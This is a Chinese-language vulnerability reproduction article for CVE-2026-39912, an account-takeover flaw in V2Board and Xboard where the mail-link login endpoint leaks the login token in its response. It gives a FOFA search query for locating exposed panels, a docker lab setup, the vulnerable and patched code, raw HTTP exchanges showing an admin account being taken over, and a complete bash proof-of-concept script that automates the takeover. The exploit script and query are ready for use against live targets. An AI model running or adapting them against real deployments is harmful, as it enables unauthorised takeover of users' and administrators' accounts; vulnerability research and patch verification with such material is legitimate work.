V2Board 信息泄露漏洞至权限绕过接管账户分析复现(CVE-2026-39912)


漏洞简介

V2Board 是一款开源的轻量级多用户代理服务管理面板。
在 V2Board 1.6.1 至 1.7.4 版本以及 Xboard 0.1.9 及之前版本中,存在一处安全漏洞。该漏洞源于 loginWithMailLink 端点在处理基于邮件链接的登录流程时,未对身份验证令牌进行安全保护,直接在 HTTP 响应体中明文返回该令牌造成令牌泄露。远程未认证攻击者可通过监听网络响应或构造恶意请求获取有效的身份验证令牌,从而在无需任何凭证的情况下完全接管受影响用户账户达到从信息泄露到权限绕过的完整利用。

影响版本

V2Board >= 1.6.1 through 1.7.4 (abandoned), Xboard all versions through v0.1.9+.

fofa语法

app="V2Board"

漏洞复现

需要知道一个系统存在的邮箱

使用docker compose搭建测试环境

services:
  web:
    image: ghcr.io/cedar2025/xboard:new
    environment:
      - ENABLE_WEB=true
      - ENABLE_HORIZON=false
      - ENABLE_REDIS=false
      - ENABLE_WS_SERVER=false
      - APP_KEY=base64:PZXk5vTuTinfeEVG5FpYv2l6WEhLsyvGpiWK7IgJJ60=
      - APP_URL=http://localhost:7001
      - DB_CONNECTION=sqlite
      - REDIS_HOST=redis
      - CACHE_DRIVER=redis
      - QUEUE_CONNECTION=redis
    depends_on:
      - redis
    ports:
      - "7001:7001"
    restart: unless-stopped

  redis:
    image: redis:7-alpine
    command: redis-server --unixsocket /data/redis.sock --unixsocketperm 777
    restart: unless-stopped
    volumes:
      - redis-data:/data
    sysctls:
      net.core.somaxconn: 1024

volumes:
  redis-data:

然后修改代码至存在漏洞的commit点

核心漏洞代码修改

文件: app/Services/Auth/MailLinkService.php

漏洞版本 (第 46 行):

return [true, $link]; // 泄露 magic link

修复版本 (官方镜像):

return [true, true]; // 不返回链接

完整漏洞代码对比

//漏洞版本-vuln_patch/MailLinkService.php
publicfunctionhandleMailLink(string$email,?string$redirect=null):array
{
  //...验证逻辑...

  $code=Helper::guid();
  Cache::put(CacheKey::get('TEMP_TOKEN',$code),$user->id,300);

  $redirectUrl='/#/login?verify='.$code.'&redirect=dashboard';
  $link=admin_setting('app_url').$redirectUrl;

  $this->sendMailLinkEmail($user,$link);

  //⚠️漏洞点:返回完整链接而非true
  return[true,$link];//第46行
}

替换注入方式

运行时通过 docker cp 将漏洞代码覆盖到容器:

docker cp vuln_patch/MailLinkService.php xboard-vuln-web-1:/www/app/Services/Auth/MailLinkService.php

然后进行测试

POST /api/v1/passport/auth/loginWithMailLink HTTP/1.1
Host: localhost:7001
User-Agent: curl/7.81.0
Accept: */*
Content-Type: application/json
Content-Length: 26

{"email":"[email protected]"}
HTTP/1.1 200 OK
Cache-Control: no-cache, private
Date: Tue, 14 Apr 2026 01:28:11 GMT
Content-Type: application/json
Access-Control-Allow-Origin: *
Server: swoole-http-server
Connection: keep-alive
Content-Length: 172

{"status":"success","message":"\u64cd\u4f5c\u6210\u529f","data":"http:\/\/localhost:7001\/#\/login?verify=924fbfeb53ebe9cd47726323e96e0e19&redirect=dashboard","error":null}
GET /api/v1/passport/auth/token2Login?verify=924fbfeb53ebe9cd47726323e96e0e19 HTTP/1.1
Host: localhost:7001
User-Agent: curl/7.81.0
Accept: */*
HTTP/1.1 200 OK
Cache-Control: no-cache, private
Date: Tue, 14 Apr 2026 01:28:11 GMT
Content-Type: application/json
Access-Control-Allow-Origin: *
Server: swoole-http-server
Connection: keep-alive
Content-Length: 139

{"data":{"token":"6f5db4fb66328156a05939e59ffc369e","auth_data":"Bearer fcFUhj0eFsjxRP1cJvRP23NGipmRHxDIANGNpSrU1ab7a429","is_admin":true}}
GET /api/v1/user/info HTTP/1.1
Host: localhost:7001
User-Agent: curl/7.81.0
Accept: */*
Authorization: Bearer fcFUhj0eFsjxRP1cJvRP23NGipmRHxDIANGNpSrU1ab7a429
HTTP/1.1 200 OK
Cache-Control: no-cache, private
Date: Tue, 14 Apr 2026 01:28:11 GMT
Content-Type: application/json
Access-Control-Allow-Origin: *
Server: swoole-http-server
Connection: keep-alive
Content-Length: 495

{"status":"success","message":"\u64cd\u4f5c\u6210\u529f","data":{"email":"[email protected]","transfer_enable":0,"last_login_at":null,"created_at":1776074179,"banned":false,"remind_expire":true,"remind_traffic":true,"expired_at":0,"balance":0,"commission_balance":0,"plan_id":null,"discount":null,"commission_rate":null,"telegram_id":null,"uuid":"705237b2-3338-4ef1-a29e-de674380e127","avatar_url":"https:\/\/cdn.v2ex.com\/gravatar\/454141dab8fba2c55bc2d81247a629a4?s=64&d=identicon"},"error":null}

漏洞测试脚本

#!/bin/bash
# CVE-2026-39912 POC - Xboard/V2Board Magic Link Token Leak
# 漏洞原理: loginWithMailLink 接口在响应中返回 magic link,导致账户接管

TARGET="http://localhost:7001"
EMAIL="[email protected]"

echo "[*] CVE-2026-39912 - Magic Link Token Leak Exploit"
echo "[*] Target: $TARGET"
echo "[*] Email: $EMAIL"
echo ""

# Step 1: 请求 magic link
echo "[+] Step 1: Requesting magic link..."
RESPONSE=$(curl -s "$TARGET/api/v1/passport/auth/loginWithMailLink" \
    -X POST \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"$EMAIL\"}")

echo "Response: $RESPONSE"

# 解析泄露的链接
MAGIC_LINK=$(echo "$RESPONSE" | grep -oP 'http[^"]*' | head -1)

if [ -z "$MAGIC_LINK" ]; then
    echo "[-] No magic link leaked. Target may be patched or user not found."
    exit 1
fi

echo ""
echo "[+] Step 2: Magic link leaked!"
echo "[!] Leaked URL: $MAGIC_LINK"

# 提取 verify token
VERIFY_TOKEN=$(echo "$MAGIC_LINK" | grep -oP 'verify=[^&]+' | cut -d= -f2)
echo "[!] Token: $VERIFY_TOKEN"

# Step 2: 使用 token 登录
echo ""
echo "[+] Step 3: Using leaked token to authenticate..."
AUTH_RESPONSE=$(curl -s "$TARGET/api/v1/passport/auth/token2Login?verify=$VERIFY_TOKEN")

echo "Auth Response: $AUTH_RESPONSE"

# 解析 auth_data
AUTH_DATA=$(echo "$AUTH_RESPONSE" | grep -oP 'auth_data":"[^"]+' | cut -d\" -f3)
IS_ADMIN=$(echo "$AUTH_RESPONSE" | grep -oP 'is_admin":[^,}]+' | cut -d: -f2)

if [ -n "$AUTH_DATA" ]; then
    echo ""
    echo "[+] SUCCESS! Account takeover complete."
    echo "[!] Bearer Token: $AUTH_DATA"
    echo "[!] Is Admin: $IS_ADMIN"
    echo ""
    echo "[+] Step 4: Accessing user info..."
    USER_INFO=$(curl -s "$TARGET/api/v1/user/info" -H "Authorization: $AUTH_DATA")
    echo "User Info: $USER_INFO"
else
    echo "[-] Authentication failed"
fi

echo ""
echo "[*] Exploit completed."

参考


手机扫码阅读

天地伟业Easy7 isHashCameraAuth SQL注入漏洞

天地伟业Easy7 getInquestRoomChannelInfo SQL注入漏洞

评 论